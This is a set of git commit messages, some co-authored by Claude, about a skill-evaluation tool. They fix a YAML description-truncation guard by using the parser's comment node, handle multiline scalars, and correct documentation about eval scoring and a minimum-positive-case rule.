shapes (double-quoted, single-quoted, block) against the parser, and added the
regression cases.
Also correct the `--max-turns 1` bullet in docs/skill-authoring.md, which
claimed the skill must be the model's first tool CALL. `collectSkillInvocations`
scans every tool_use block in the assistant event without regard to order, so a
turn calling Read and Skill together scores a hit. What actually loses the
sample is needing a tool RESULT first — that decision lands in turn two, which
never runs. The practical advice is unchanged; the mechanism now matches the
collector.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SyBPs7caoMcyvnp9ArMBhV
Signed-off-by: cliffhall <cliff@futurescale.com>
Ask the YAML parser what it discarded instead of re-deriving it from the raw
frontmatter text. `yaml` hangs the comment it stripped on the scalar node, so
`parseDocument(...).get(field, true).comment` IS the truncation signal: a plain
scalar that lost text has one, a quoted or block scalar never does, and
`Issue#28` (no preceding space, so no comment) keeps its full value.
That closes both findings at once. The line-locating regex only ever matched
the canonical `description:` key, so `"description":` and `description :`
populated the mapping while the guard skipped them and left verify:skills green
on a truncated listing; and the continuation scan stopped at the first blank
line, inspecting only the opening paragraph of a plain scalar that YAML happily
continues past one.
It also retires the scanning itself — three rounds of regex here each fixed one
shape and missed the next (tags and anchors, then indented continuations, now
key forms and blank lines). The node carries all of them for free, so 65 lines
of hand-rolled parsing come out. Parsing once with `parseDocument` keeps the
node view and the value view from ever disagreeing.
Tests cover the three noncanonical key forms, the blank-line continuation, and
the standalone comments that must NOT read as truncation.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SyBPs7caoMcyvnp9ArMBhV
Signed-off-by: cliffhall <cliff@futurescale.com>
The truncation guard read only the first physical line of the scalar, so
a multiline plain scalar slipped past it:
description: Covers boards
#28 and #11
YAML parses that as `Covers boards`, and the first-line-only comparison
saw `Covers boards` on both sides and reported no loss — passing the
exact silent truncation the guard exists to reject.
It now walks the whole plain scalar: the value line plus every indented
continuation, whitespace-collapsed to match YAML's folding of newlines to
spaces. Quoted and block scalars are still skipped, since neither loses
text to a comment.
Two regression cases: the multiline truncation, and a multiline scalar
with no `#`, which must stay clean — the fix cannot be "reject anything
multiline".
No skill description or eval case changed, so skills:eval is unchanged
from round 4's 63/63. local:gate passes, 34/34. 390/390 script tests.
Signed-off-by: cliffhall <cliff@futurescale.com>
Corrects the rationale for the five-positive floor, which was wrong. The
claim was that five prompts make a skill's rate flake-tolerant. The
evaluator scores each prompt on its own `passes / RUNS`, so the number of
prompts never enters any rate and cannot affect a threshold crossing —
`RUNS` is the only knob that does. The floor is worth keeping for
breadth: one prompt measures one phrasing, and a description that fires
on a single narrow shape would pass on its one lucky case.
The bad reasoning had reached five places — AGENTS.md, the authoring
checklist, the JSDoc, the check-site comment and the regression test —
plus the emitted message, which asserted it too. All corrected.
Moves `MIN_POSITIVE_CASES` above `validateEvalCases`'s JSDoc. It had been
inserted between the two, so the `@param`/`@returns` block documented the
constant and the function had none.
Replaces the two remaining cases answerable from `AGENTS.md`: `local-dev`'s
web-client-startup case (the rules file gives the exact command) and
`project-structure`'s clients/web-versus-core case (its tree answers it).
Both replacements probed 3/3 and measure 100%.
RUNS=5 skills:eval: 63/63, every local-dev and project-structure case at
100%. local:gate passes, 34/34.
Signed-off-by: cliffhall <cliff@futurescale.com>
